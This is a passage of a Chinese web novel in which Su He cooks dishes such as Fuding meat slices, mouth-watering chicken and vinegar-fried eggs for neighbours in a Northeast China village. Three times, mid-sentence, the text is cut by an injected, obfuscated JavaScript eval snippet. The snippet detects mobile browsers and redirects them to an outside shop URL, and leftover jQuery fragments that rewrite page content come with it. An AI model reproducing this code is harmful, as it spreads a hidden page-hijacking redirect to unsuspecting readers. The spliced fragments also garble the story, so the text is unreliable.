想着他可能是担心安全,苏禾又补充说,“放心,百分之百卫生,不会有问题的。”
王宾哪里是在担心卫生,完全是对她的手艺感到不可思议。
捞了两颗茶叶蛋回到位置上,正剥着皮,苏禾就端着一碗热气腾腾的福鼎肉片走了过来,又从旁边的空桌上拿了两只小瓶:“这是辣椒油和醋,可以根据自己的口味放。”
“好。”
王宾原本还沉浸在茶叶蛋丰富的味道里,可当他看到碗里丰富的颜色时,立马就放下了手里正在剥的鸡蛋,迫不及待地用勺子舀起一条肉嘟嘟的“小粉鱼”。
混合了红薯粉的肉吃起来十分爽滑,又弹又韧的口感可比单吃肉得劲儿多了,紫菜、虾皮、香菜,都把那股鲜劲儿吊到了极致,再来一口面汤,浑身都跟着暖了起来。
他有点后悔了,倒不是后悔自己那啥眼看人低,小瞧了苏禾的手艺,而是后悔自己刚才没有点一大碗。
尽管这一小碗的肉片就已经是满满登登了,可他感觉以自己的胃口,完全能吃一大碗!
哦对。
吸了吸被热气烘出了鼻涕,王宾往碗里浇了一圈醋,又加了两勺辣椒油,原本清淡的面汤一下子变成了琥珀色,用勺子捞起肉片时,也会薄薄地挂上一层红油和几粒芝麻。
这辣椒油一吃就知道是自家炸的,不是很辣,但是味道要比买来的香多了,一口肉片一口辣汤,再来一口茶叶蛋……
天爷哎,这也太得劲了吧~
“老板,再来一大碗带走。”擦了擦嘴唇上的油,王宾十分餍足地打了个嗝。
“行,”苏禾把铁板上的煎萝卜糕挨个翻了个面,“煎萝卜糕马上就好。”
王宾摆摆手:“不在这儿吃了,一块带走,我媳妇还在病房里等着呢。”
顿了顿,他又补充说,“哦对,煎萝卜糕也再加一大份带走吧。”
既然福鼎肉片和茶叶蛋的味道都不错,那想来这煎萝卜糕的滋味也不会差。
接过苏禾手上的活儿,秦冬梅随口问道:“媳妇身子不得劲啊?”
“刚生完,正坐月子呢。”
“呦,那是好事儿啊!小子还是丫头?”
提起自己的孩子,王宾唇角不自觉地抿出一个笑:“丫头。”
东北人性格很敞亮,就算是头回见面的老板和食客,也能像熟人一样,聊上两句生活上的闲嗑。
苏禾很羡慕他们这样,相互之间没有疏离感的相处方式,不过代入到自己时,她还是会紧张到不知该说些什么,所以当秦冬梅和他聊天时,她只是安静地在一旁听着。
“你们中午还在不?”
“应该在,”看了眼还没开始卖的肉馅和萝卜糕,秦冬梅又说,“今天备的肉多,我们得卖得差不多了才回去。”
王宾:“好,那我中午再来。”
拎着打包好的福鼎肉片和煎萝卜糕,想了想后,他还是一口气又买了五颗茶叶蛋。
早买早吃早享受,万一等不到中午她们就卖完了呢?
吸溜~哈!吸溜吸溜~
罗燕好久没有吃得这么香了,见她的腮帮子被茶叶蛋和肉片塞得满满的,王宾感觉自己的肚子又饿了。
“嗯~真玉捉(得劲)!”
斜靠在枕头上打了个嗝,一碗福鼎肉片下肚后,罗燕只觉得浑身都跟着暖了起来。
医生不让她吃辣,于是苏禾就在肉片里加了一丁点的胡椒面,这样既能吃到佐料的滋味,又不会影响奶水,而且胡椒暖身,在冬天吃最合适不过了。
夹起一块煎得焦香的萝卜糕,罗燕咬下一口后,十分满意地点点头:“搁哪买的?以前咋没吃过?”
“就对面的小摊,”王宾一边说一边给她倒了一杯温水,“爱吃啊?爱吃以后天天给你买。”
“死样吧~”
罗燕嘴上嗔怪,脸上的笑容却是藏也藏不住,“天天吃,那我不得胖死啊,到时候指定嫌弃我。”
“谁说的?我费老鼻子劲才娶回来的媳妇,我嫌弃谁也不能嫌弃你啊。”为了她能喝得方便,王宾特意往杯子里放一根吸管,还亲自喂到了她的嘴边,“我媳妇在我眼里,放个屁都是香的,一辈子都是我的心肝宝贝疙瘩蛋。”
被他这么一哄,原本生完孩子还不痛快的罗燕,心里一下子就被一股甜意给占满,而她的肚子也似乎在被什么一点点填充。
嘶,好像,好像有点……
噗!
一声巨响后,罗燕感觉身体变得更畅快了。
多亏了这些萝卜糕,一下子把身体里没排干净的废气都放了出来。
深深地吸一口气,这个过程仿佛一下子让身体的机能又恢复了百分之几。
可是当她看到王宾又青又白的表情时……
“嗯?你这是啥表情?”
“刚才还说我的屁是香的,这会想反悔了是不?”
“唉,我就知道,男人的嘴,骗人的鬼!”
王宾:???
……
秦冬梅和苏禾来得晚,没抢到街边的好位置,可架不住那一锅茶叶蛋的香味飘得远,放眼整条街,就属她们的生意最好。
还好今天备的肉馅多,要不还真不够卖呢。
从早上一直忙活,到了上午快十点她们才有时间喘口气。
“趁着这会没事,你去把户口给办了吧,”从摊位下面拿出几个黑色塑料袋,秦冬梅交到了她手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586441|205289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里,“顺便再把饼子和萝卜糕给你哥送去。”
几只塑料袋里,一只是办户口需要的材料,一只是秦冬梅昨天给烙的玉米饼,还有一只是苏禾昨天做的萝卜糕还有一小瓶辣椒油,用黑色塑料袋装着,是为了跟打包用的透明塑料袋区分开。
“好。”
苏禾刚要走,秦冬梅就又叫住了她,同时往她手里塞了点钱,下意识地压低了声音:“给自己买两件合身的穿穿。”
苏禾的脸“唰”地一下就红了。
贴身的衣裳,还是得自己试过才行。
上次秦冬梅在大集上买的那两条内衣不合身,拆开改了改后还是小,以防再买的小了浪费钱,所以还是让她自己去挑比较好。
还好医院附近什么都有,苏禾很快就找到了一家服装批发市场。
“你试试这件咋样?”
苏禾拿过后,看了一眼后面的标:70D。
在一条简陋的帘子后面,苏禾有些紧张地换着老板从外面递来的内衣。
当她按下胸扣,有了钢圈的支撑,它们不再是沉重的累赘,感受着被稳稳托住的那一刻,顿时感觉整个人都舒服了不少。
那件不合身的苏禾也没丢掉,而是装进了店家给她的黑色塑料袋里,准备留着以后换洗的时候再穿。
苏禾坐公交来到陆东泽所在警察局的时候,已经是快中午了。
进门前苏禾还很害怕面对陆东泽,不过听其他民警说,他一大早就出任务去了,并不在局里,她这才稍稍放心下来。
办户口的流程很快,拍照、填资料,接下来只需要等着一个月后来领身份证和户口本就好。
想着中午人多,秦冬梅一个人在馄饨摊可能忙不过来,办完手续后苏禾就赶紧走了。
“哦对!”
临走时,苏禾又折了回来,把手里的两个黑色塑料袋交给他,“麻烦转交给陆东泽同志,就说是大姨给他做的玉米饼,让他平常吃的。”
“好。”
说完,苏禾就拎着另外两只塑料袋着急忙慌地跑去赶公交了。
……
陆东泽执行完任务回来,已经是晚上八点。
在市里跑了一天,浑身上下每一块肌肉都累得有些脱水,此时此刻,他只想倒在床上闷头大睡。
回到办公室,准备收拾东西回家,在看到桌子上放着几只黑色塑料袋时,他不悦地皱了下眉,喊来了还在值班的民警。
“谁送的?”
“今天来办户口的那个小姑娘。”
小姑娘?苏禾?
听到是苏禾,陆东泽眉心稍稍舒展了几分。
民警接着又说:“她说是大姨给你做的饼子。”
原来不是谁谁谁送来的礼啊。
这下,陆东泽彻底放下了警惕,朝民警摆摆手后,走到桌子前把那几只塑料袋拿了起来。
还是大姨好,心里一直惦记着他。
知道他爱吃玉米饼,即使他工作忙不能时常回家,也会送一些来给自己。
陆东泽这会正饿着呢,从袋子里拿出一只巴掌大的烙饼,一口就咬下了大半块。
腮帮子被那一口玉米饼塞得很满,下巴地咀嚼时都不禁加重了力气,正当他随便打开另外一只袋子,想看看里面装着什么时,手上和嘴上的动作却倏地停了下来。
扑通扑通!
随着心跳的加速,他的脸颊逐渐泛起了红色。
看着袋子里用一只手堪堪能握住的大小,他干咳的喉结不由得上下滚了滚。
12. 第 12 章
苏禾简直就是从天而降的福将!
有了苏禾的帮衬,这两天出摊的成果都不错,哪怕在医院门口抢到的是最偏的摊位,也不耽误有客人来光顾,天还没黑,就能把带来的东西全部卖光。
“要我说,刚才就应该买只老母鸡的。”
回去的路上,秦冬梅握着苏禾冰凉的手时,不禁懊悔道:“你这身子还没好利索,不好好补补哪行啊?”
“姨,真不用买整鸡,鸡腿就够了。”
回来的路上经过农贸市场,秦冬梅见笼子里的那只老母鸡毛色油光水滑,当即就要买了它回去炖汤,苏禾好说歹说,她才退而求其次地买了四五只鸡腿。
之前在床上躺了那么些天,苏禾的身体早就恢复过来了,可能只是因为还没完全适应东北的气候,所以手脚一直是冰凉的,怎么捂都捂不热。
不过这也没什么事,等回家喝上一杯热水,再坐在炕上烤一会就能缓过来。
看一眼塑料袋里,那几只已经上冻的鸡腿,秦冬梅又说:“正好家里还有点红枣,再放点枸杞一起炖,最补气血了。”
要说做别的菜,秦冬梅的手艺可能比不上苏禾,可要说“炖”,那她还是很有自信的。
东北人最擅长的就是炖,任何食材进了东北人的铁锅,都能炖出浓到糊口的口感和香掉眉毛的滋味,再来上一碗热乎乎的大米饭,谁吃了能不迷糊啊?
她们回到村的时候,天边的最后一抹白刚刚消失。
正是家家户户都在准备晚饭的时候,走在村道里,能听到各种锅碗瓢盆的交响乐,还有从院子里飘出来的酸甜麻辣。
可唯独离家最近的那处院子,老远就能听见杀猪似的惨叫。
“爸,救我!我错了,啊啊啊!我错了,我真知道错了!!!”
李阳这皮猴子平常没少挨打,屁股蛋儿一天不被笤帚打两下就刺挠。
可像今天这样叫得鬼哭狼嚎的,还是头一次。
“咋回事?这咋又动上手了?”
把车子停好后,秦冬梅一边用抹布掸了掸裤腿上的尘,一边向隔壁问道。
回答她的不是李成刚和杨丽,而是另一个略显硬朗的女声:“秦姨,你别管他,他该打。”
“呦,是月月回来了?”
听到那声音,秦冬梅的眼里闪过一丝惊喜。
李月是李成刚和杨丽的闺女,家里的老大,今年二十三了。
平常她在市里的化肥厂上班,只有周末才会回家来住两天,上周正赶上厂里加班没回来,所以就把两天的调休挪到了这周末。
常听秦冬梅和李阳说起,苏禾还从没见过她呢。
“秦姨……”
“叫啥姨?叫秦姨就能救你啊?我告诉你,李阳,今儿你叫祖宗都没用,这一顿打你逃不了!”
原来动手的人是李月。
伴着笤帚打在身上噼里啪啦的动静,她的声音也变得更加凶厉,即使中间隔了一堵墙挡着,苏禾都能想象出那“血腥”的画面。
李月动手时,李成刚和杨丽就跟没事人一样忙活着晚饭,直到李月把的气都出完了,才听到两口子风轻云淡的调侃。
“看你以后还馋不。”
“再馋,下次你姐还得抽你。”
李阳:???
把三轮车上的锅具都收拾干净后,秦冬梅这才开始正在准备自家的晚饭。
这边刚把鸡腿放进锅里,火还没点上,就听到外面传来的敲门声。
是李月和李阳来了。
“你好。”
看到开门的苏禾时,李月不禁怔了一下。
不等李月开口回应,李阳就主动向她介绍:“姐,这是苏禾姐,和咱秦姨一块住。”
“苏禾姐,这是我亲姐,你以后跟着我一块叫她姐就行。”
小孩子不记仇,脸上的两个肿眼泡还没消呢,就能像什么都没发生一样,挤出一个灿烂的笑脸。
苏禾微微点头,礼貌地向李月打招呼道:“姐姐好,我叫苏禾,你叫我小禾就行。”
听到苏禾那又酥又软的声音时,李月的耳朵根都热了。
她还是头一次听到这样娇滴滴的声音,跟含着蜜说话似的。
“咳咳,你,你好。”
李月也想让声音听起来温柔一点,可最后只是降低了一些音量。
李月的个子在女生中算高的,差不多有一米七,样貌是很典型的北方姑娘,浓眉大眼、长发圆脸,虽然算不上特别漂亮,但整个人看起来很有精气神,犹如一朵明媚的向日葵。
跟着苏禾往屋里走,李月发现她不止是声音好听,就连一举一动都很娇柔,是那种不知道该怎么去描述的好看。
“我说吧,苏姐姐长得可漂亮了~”李阳小声道。
李月没说话,瞪他一眼后,用手不轻不重地在他背上拍了一下。
“有日子没回来了吧。”
把花椒和葱段放进锅里一起煮,秦冬梅一边切着姜片,一边对李月说道。
李月:“嗯,前段时间厂里加班,今儿刚休息。”
给她俩拉来了两张椅子,秦冬梅又问:“刚才是咋了?咋又动上手了。”
提起这事,好不容易缓过来的李月又戳了李阳一眼,“他把俺妈留给我的肉给吃了,”光是瞪他还不够,说着又用手推了下他的脑袋瓜,“这小子还光吃瘦的,把肥的全剩下了。”
“嗯,那是该打。”
秦冬梅也故作责怪地看了李阳一样。
“正好咱家炖鸡腿呢,留下一块吃点吧。”
“不了不了,”李月一边说一边从口袋里拿出一张汽卡,“我们厂发了一张充汽卡,想着你去市里卖馄饨要用嘎吱罐,正好能用得上,就给你送来了。”
李月每次放假回来,不止会给爹妈带东西,也会给秦冬梅带一些,毕竟她也是秦冬梅照顾着长大的。
有时候是糕饼、有时候是水果,贵不贵的,都是她的一点心意,当然,也不止如此。
液化气罐要充汽,办卡能省不少钱。
村里冬天又要烧炕、又要做饭,基本都用土灶所以基本不用液化气罐。
“哎呀,不用,你们留着吧。”
李月:“收下吧,咱家也用不上,这不用过期了多可惜。”
见李月这么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586442|205289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坚持,秦冬梅只好收下,“那等会一定得吃俩鸡腿,我正准备放点红枣枸杞一块炖呢。”
“真不用,咱家做着饭呢。”李月推辞道。
看了一眼旁边弱不禁风的苏禾,李月又说:“这一看就是给妹子补身子的,我们这身体好,真不用补,下次,下次再说吧。”
说完,李月就赶紧拉着李阳走了,完全不给秦冬梅再纠缠的机会。
可惜,秦冬梅也不是个轻易放弃的人。
“小禾,一会鸡腿炖好了你给她们端一碗去。”
“行。”
依次把改过刀的鸡腿放进锅里,秦冬梅又说,“等会炖之前提前捞出来两个,抹点酱油放在篦子上面一起蒸,哦对,呆会再给盛点辣椒油过去,月月她爱吃辣。”
看着锅里逐渐变色的鸡腿,苏禾有了个主意:“要不那两个鸡腿让我来做做看?”
……
二十分钟后,李成刚一家的晚饭刚做好,就听到有人敲门。
“来了来了!”
李阳这皮猴子精得很,屁股刚坐下就“蹭”地一下蹦起来去开门。
他根本不用问,就猜到一定是美食送上门来了。
“苏姐姐~!”
同样是姐姐,李阳在看到苏禾时,简直跟看到七仙女一样激动。
倒是见了亲姐时,就跟看到阎王似的耷拉着脸。
苏禾的手里端着一只盘子,还没等看清里面盛着什么,就被一股扑面的香气勾得直流口水。
苏禾看了眼屋里的李月,笑着说:“听说姐姐爱吃辣,我就用鸡腿做了口水鸡,端去给她尝尝吧,看她吃得惯不?”
煮过的鸡皮是淡淡的黄色,看着不过是多浇了一层红油而已,可不知怎地,这看似单一的颜色里却能闻到好几种味道,酸甜麻辣,好像什么味道都藏在浸在红汤的鸡肉里。
两个鸡腿切成了均匀的段,表面洒了一把香菜和葱花,下面还有炸过的花生米跟白芝麻,红的、白的、绿的、黄的,越看越让人止不住地分泌口水。
“口水鸡?”
李阳好像知道这名字的由来了。
“来咱家坐坐吧?”接过盘子,李阳礼貌地邀请道。
苏禾:“一会吧,等吃完饭我再来。”
“那行。”
目送着苏禾离开,李阳没急着端盘子回去,而是背对着屋,迫不及待地在盘子里挑拣着,担心会被发现,他特地挑了一块小小的碎肉和花生米一起塞进了嘴里。
嘶~!
好麻!好辣!好……好香!
和想象中的炖鸡腿不同,浇了一层辣椒油的口水鸡是凉的。
虽说冬天就该吃点热乎的,可屋里烧着火温度高,还是要来上一点凉的才更得劲。
只吃了这么一丁点的鸡肉而已,李阳就意犹未尽地咂了半天的嘴。
不行,实在是太好吃!
煮过的鸡皮是脆脆的、QQ的质感,油润的表面挂了几粒芝麻,似乎随时都会从鸡肉上掉下来。
就在他想神不知鬼不觉地把它撕下来时,就听到背后传来了阎罗王的声音:
“你干哈呢?”
13. 第 13 章
那一盘口水鸡被放在了桌子的正中间。
两只鸡腿一正一反,像是八卦一样摆在盘子里,即使被切成了大小均匀的段儿,也摆得很整齐,配上堆在中间的那一簇香菜末,看起来跟一副画似的。
旁边那一盆土豆豆角炖排骨跟它一比,似乎香味都逊色了几分。
“这就是普通的煮鸡腿吧。”
“应该是吧?没太尝出来。”
“就浇了一点辣椒油和花椒油,味道就能这么香啊。”
“肯定不止啊,你没尝出来还放了醋和糖吗?”
“那就算再放点糖醋,也做不出这味道。”
分明是最普通的煮鸡腿,加的也是最普通的调料,咋就能做得这么好吃呢?
第一次吃到这样的鸡腿,李成刚和杨丽仔细分析了半天,都没弄清楚苏禾是怎么做的。
“别琢磨了,”嚼着嘴里的花生米,李月往碗里舀了一勺口水鸡的料汁,“光是知道用了啥也没用,得知道用了多少才行。没准这是人家的秘方呢?算了,咱光吃就行了。”
也是,苏禾看起来就是个心思细致的姑娘,做起菜来肯定也是十分仔细。
像他们这些平时做菜,只想着做熟就行的大老粗,真要模仿起来怕也是东施效颦。
“啊……那是最后一块了……”
看着李月把最后一块鸡腿肉夹到自己碗里,李阳可怜巴巴地念叨了一句。
李月睨了他一眼,“咋了?”
咋了?今天就属她吃得最多!
李月可不像爸妈一样会让着他,在他们家,吃饭的规矩向来是“弱肉强食、适者生存”,筷子夹得快就吃,夹不住就别吃,所以李阳是抢不过李月的。
更何况,这是李月第一次尝到苏禾的手艺,这种刚打开新世界大门的感觉,让她更加欲罢不能。
筷子在碗和盘子中间来来回回,她基本上只吃口水鸡,杨丽特地给她炖的排骨都没夹几块。
见爹妈都没要帮自己的意思,害怕再挨揍的李阳只好默默夹起了一块排骨,“没,没事。”
妈妈做的排骨也好吃,不过他还是更喜欢吃酸甜麻辣味十足的口水鸡。
忽然,李阳有了个大胆的想法。
把排骨放进红油料汁里搅搅,然后再夹上一点铺在下面的洋葱,最后再来上两颗花生米……
“李阳,你又皮痒了是不?”
看到酱色的排骨上裹了一层红油,那一小块炖得烂糊的土豆泥也粘上了几粒白芝麻,那混合起来后难以描述的颜色,让李月不悦地皱起了眉,“又作啥妖呢?不吃别嚯嚯嗷。”
“咋了嘛,”李阳不服地把那块排骨塞到嘴里,“谁说我不吃的。”
红油和浓酱瞧着是完全不搭调的两道菜,可真混在一起吃到了嘴里,才会发现其中的惊喜。
排骨的热气再次把辣椒和花椒的香味激发了出来,带上一点洋葱炒熟后的清甜,一口下去,那种嘴巴被肉塞满的感觉,比鸡腿肉更加让人满足。
再加上香菜和葱花,哪怕排骨上有一大块颤巍巍的肥肉,吃起来也完全不会觉得腻。
这味道简直是绝了!
不止是排骨,李阳甚至感觉普通的炒青菜蘸上这红油料汁都会很好吃。
“还吃不?还吃不?”
李阳在桌上问了一圈,确定他们都对盘子里的红油没有兴趣后,他索性把盘子端到自己面前,一股脑把碗里的米饭全部到了进去。
搅动着盘子里的米饭,手里的筷子只转了两圈,本就没剩多少的红油料汁就全部沾在了米饭上,配上剩下的香菜、花生、芝麻粒,看起来一点不会觉得油腻。
用筷子吃不过瘾,李阳索性换了一柄勺子。
舀起满满一大勺,配着一口带着脆骨的肉还有两根青菜一口塞进嘴里……
嗯!玉捉~!
……
东北的天就像小孩的脸,变脸比翻书还快。
头一天还可以是阳光明媚,入了夜说不定就会刮起一场风雪,等到东边的天再次泛起鱼肚白,说不定又会撒下温暖的阳光。
苏禾醒的时候已经是上午八点,坐起来才看到,昨天还干干净净的窗沿已经积了薄薄的一层雪。
秦冬梅昨晚炖的那一碗鸡腿汤,实在是太补了。
一开始说只放一点红枣和枸杞,后来又放了一块白萝卜,感觉不够又抓了一把香菇、一把粉条、一颗土豆……
苏禾哪里能吃得了这么多?一大碗的炖鸡腿下肚,吃完她就开始晕碳犯困,结果就这么一觉睡到了大天亮。
不止是苏禾,秦冬梅也正在炕上睡得正香。
可能这就是东北火炕的魅力吧,即使外面是三九严寒,屋里依然能保持着二十来度的温暖,外面越是冷,里面的人越是舍不得从被窝里出来。
“姨,我们今天不去卖馄饨了吧?”
“嗯?”隔壁屋里,秦冬梅慵懒地翻了个身,往外面看了一眼,说,“嗯,不去了,路上估计都冻冰了,今儿就搁家歇一天。”
秦冬梅是从苦日子熬过来的,可也不想自讨苦吃。
赚钱重要,可也不是啥时候都得急头白脸地去赚钱,碰上天气不好,她也知道要给自己放个假,好好休息两天。
正好后天陆东泽要回来跟人姑娘相亲,正好能提前准备准备。
“你也再回屋里躺会吧,等会再起来。”翻了个身,秦冬梅把被子掖得更严实了一点。
看向外面院子里积了半指厚的雪,门缝里透进来的风吹得她不禁打了个寒颤,于是苏禾也掖了掖衣角,趿拉着棉鞋回屋去了。
被窝里很暖和,没一会秦冬梅就又睡着了。
可刚睡着没一会,就被外屋飘来的香气给勾醒了。
锅里昨天的鸡汤“咕嘟咕嘟”地冒着泡,往里面下一把挂面,用筷子搅拌时,她的动作很轻,生怕会戳破卧在下面的那两颗荷包蛋。
不过这香味不止是鸡汤,而是来自一股更清新的茶味。
“这是草原上喝的那种奶茶吧?”
“嗯……算是吧,不过跟他们那边的奶茶味道不太一样。”
坐在灶台前,苏禾和李月一边烤着火,一边喝着杯子里的奶茶。
牛奶是去村里牛棚现
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586443|205289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
挤的,营养要比外头买来的更丰富,经过加热,没一会表面就结了薄薄的一层奶皮。
轻轻吸溜一口,除了醇厚的奶香之外还有一股很清甜的茶味。
“嗯,好喝哎!”
扭头看向这个比自己小了几岁的邻居妹妹,李月的眼里满是惊讶,“你这脑子可真好用,你是咋发现茶叶能和牛奶一块煮的?”
苏禾唇角微抬,轻声道:“我也是跟别人学的。”
看到苏禾脸上那害羞的表情,还有喝完奶茶后,会轻轻抿一下唇的小动作,李月感觉心尖上仿佛落下了一块棉花糖,甜甜的、软软的。
“月月啥前来的?”
穿衣服从炕上起来,秦冬梅向李月问道。
天冷,睡得也沉,要不是闻到了外面飘进来的香味,她都不知道家里来人了。
“刚坐下一会,”又喝了一口杯子里的热奶茶,李月又说,“早上去西头接牛奶接多了,家里喝不完,就给你和小禾拿来两斤。”
前段时间,秦冬梅还发愁家里的茶叶怎么喝呢,这下不止能用来煮茶叶蛋,还能用来煮奶茶。
趁着秦冬梅起床收拾的功夫,锅里下的面条也煮好了。
用勺子捞出来两碗,她们的碗里各自有一颗完整的、圆滚滚的荷包蛋,呆会就上一点咸菜吃,既是早饭、也是午饭。
“秦姨,一会咱一块去澡堂搓澡吧?”
把杯子里的奶茶一饮而尽,李月提议道:“往后天越来越冷,趁着这几天天好,赶紧把身上给搓搓。”
洗澡?
听到这两个字的时候,苏禾的眼睛都在发光。
她都好久没有好好洗个澡了,以前即使是冬天,她一周都要洗两次。
虽然天冷不容易出汗,身上也没有生出什么怪味,但每天睡觉她都感觉身上不舒服。
秦冬梅:“你妈不跟着一块?”
李月解释说:“她前儿刚洗过,就不去了。”
“也行,那等咱吃完饭就一块去。”
一听可以去洗澡,苏禾兴冲冲地回到屋里收拾着要换洗的衣服,同时拿出那只黑色塑料袋,准备顺便把内衣拿到澡堂去洗干净。
可当她打开袋子,看到里面装的不是自己的内衣,而是……
“啊?!”
见苏禾倒吸了一口气,身子也跟着吓得一激灵,李月问道:“怎的了?”
“没,没事。”
把塑料袋团了团放在床上,只不过一会的功夫,苏禾的脸就“唰”地一下红成了小苹果。
如果她带回来的袋子里装的是萝卜糕,那她托人转交给陆东泽的袋子里岂不是……
天啊!这也太社死了,他看到后该怎么想自己?!
拿着衣服从里屋出来,准备再往澡筐里放包洗头膏时,苏禾一低头,就看到里面装着一袋盐和一袋醋。
“我们不是去洗澡吗?”拿起那袋醋,苏禾好奇道,“洗澡要带醋去吗?”
“当然要带,不带醋怎么能洗干净。”
苏禾:???
醋?洗澡?难道这两者有什么必然的联系吗?
14. 第 14 章
三人晌午出门洗澡的时候,天上还挂着一轮大太阳,等到从澡堂子出来后,天已经开始阴了,看样子晚上估计又要刮一场风雪。
回到家时,杨丽正在厨房里忙活着今天的晚饭,闻着从院子里飘出来那股滚烫的油香,似乎是在炸着什么东西。
火候和时间把握得刚刚好,热乎乎的香味里没有过多油腻,只有猪肉被高温逼出来的焦香。
“嫂子,晚上带上小禾来咱家吃吧?”
听到秦冬梅她们洗澡回来了,杨丽热情地冲隔壁院吆喝了一嗓子,“我正准备做锅包肉呢。”
“不了吧,我……”
“来吧来吧!”
不等秦冬梅说下去,杨丽就打断了她的话,“也就添两双筷子的事儿,这时间也不早了,你们要再开始忙活,等吃上饭得到啥时候了?”
不止是杨丽,一旁的李月也跟着劝她说:“是啊,姨,洗澡这么累,还是歇会吧。”
冬天里洗澡是个“体力活”,又借着澡堂的热水把衣服给洗了洗……该说不说,这会秦冬梅还真有点累了,只想躺到炕上缓口气。
都是几十年的老邻居,既然她们都这么说了,秦冬梅也不客气了,“行吧,那今儿我们娘儿俩就上你家蹭顿饭去。”
“要再加点啥菜不?”秦冬梅问道。
“不用,”把锅里炸好的肉片都捞出来,杨丽又说,“哎呀,嫂子,你啥也不用忙活,等会跟小禾带着嘴来吃就行啦!”
家里的条件虽然比不上秦冬梅,可也不能总让自己孩子占别人家的便宜。
趁着自家闺女回来休假,正好攒个局、做回东,请秦冬梅她们来家里吃一顿饭。
回到家,把澡筐里的东西都收拾出来后,李月把头发一扎,趁着杨丽在准备晚饭的功夫,开始监督李阳在里屋做作业。
一个酸菜炖排骨,一个豆角炒土豆、一个炒青菜,一个凉拌大拉皮,最后再来一道最具有东北特色的锅包肉,今儿的晚饭就齐活了。
锅包肉一定是刚出锅的最好吃,等到锅里的米饭熟了之后再开始做,这样炒好上桌后就能正好开饭。
滋啦~
肉片刚下锅,李月就在屋里闻到了一股热烈的酸香。
“妈,你是不是放错醋了?”
李月虽然不会做饭,但是她知道,做锅包肉的话还是用白醋或者米醋最好,基本不怎么用陈醋。
可这股酸味,分明是来自陈醋的,里面还带了一点蒜香和微微的辛辣。
“啥玩意?”刚拿起醋瓶子的杨丽一脸懵,“我还没放呢。”
“姐,你是那啥鼻子啊。”
好不容易逮到个可以埋汰她的机会,李阳好不得意地说:“这味儿一闻就知道是从外面飘来的。”
大口地呼吸着这股浓郁的酸香,李阳原本就在嘴里不断打转的口水,开始加速分泌。
嗯,是苏禾的手艺,他闻得出来。
一定是苏禾又在做什么好吃的。
“哎呀,说好来咱家吃的,咋又忙活上了,”杨丽一边翻炒着锅里的肉片,一边又对李月说道,“月啊,快去隔壁瞅瞅,可别让她们忙活了。”
“好。”
来到隔壁院的时候,苏禾刚把炒好的鸡蛋从锅里盛出来,往锅里舀了一勺凉水,正准备刷刷锅炒下一道菜。
看了眼碗里热气腾腾的炒鸡蛋,李月问道:“不是说来咱家吃吗?咋又做上了?”
换做是以前,苏禾一定会被李月这略带严肃的语气吓到,不过现在不会了。
拿起灶台上剩下的小半袋醋,苏禾解释说,“今天洗澡还剩了小半袋醋,不用就浪费了。”
袋装醋和散醋的味道不一样,混在一起会串味,放在外面又不方便,所以就干脆全部用掉。
当然,这只是一方面。
另一方面,是苏禾觉得空着手去蹭饭不合适,跟秦冬梅商量一番后,想着简单带两盘小菜,这样既不会扫了杨丽的面子,又有礼貌。
“也没做太多,就炒了个鸡蛋,一会再炒个土豆就行。”苏禾又拿起了旁边那碗切好的土豆丝给她看,证明准备的量确实不多。
“行吧。”
看了眼碗里的土豆丝,几乎每一根都切的一样粗细,像是用工具划出来的一样,另外的小碗里还放了几颗剥出来的茶叶蛋黄,应该也是一会要用的。
见茶叶蛋清放在一旁没人吃,李月也不客气了,一边拿起一瓣塞进嘴里一边对她说:“下次可不能这样了,说来咱家吃饭那只管吃就行,不能再自己做了。”
苏禾甜甜一笑,听话地点点头:“好的。”
刚炒好的鸡蛋太香了,远远闻着就让人直流口水,现在就在灶台上放着,那酸溜溜的滋味更是让人挪不开眼。
李月好像知道李阳为什么那么馋了。
当然,除了他原本就是饿死鬼托生之外,也有可能是因为苏禾的厨艺太好了。
拿来一双筷子夹起一点尝尝味,李月的眼睛一下子睁得老大。
“妹儿啊,你这鸡蛋炒得也太带劲了吧?!”说着,她又再次夹了一大块递到嘴里。
炒过的鸡蛋蓬得老大一块,像是一朵胖乎乎的云,加了醋炒过后,表面泛着一层特别润的亮光,不是油汪汪的那种,更像是晶莹的玉。
单独炒鸡蛋会有一股蛋腥味,可李月嚼了一口又一口,只咬到了葱花的香、蒜末的辛、小米椒的辣还有一点虾皮的鲜,每一种味道都和酸味融合得很好,软乎乎的鸡蛋只剩下极致的鲜美。
有点像是在吃一块软蓬蓬的海绵,每次咬下去,都会挤出一些酸甜微辣的汁。
不知道是不是自己的错觉,分明是炒鸡蛋,她竟然吃到了螃蟹的味道!
“咋炒的?”
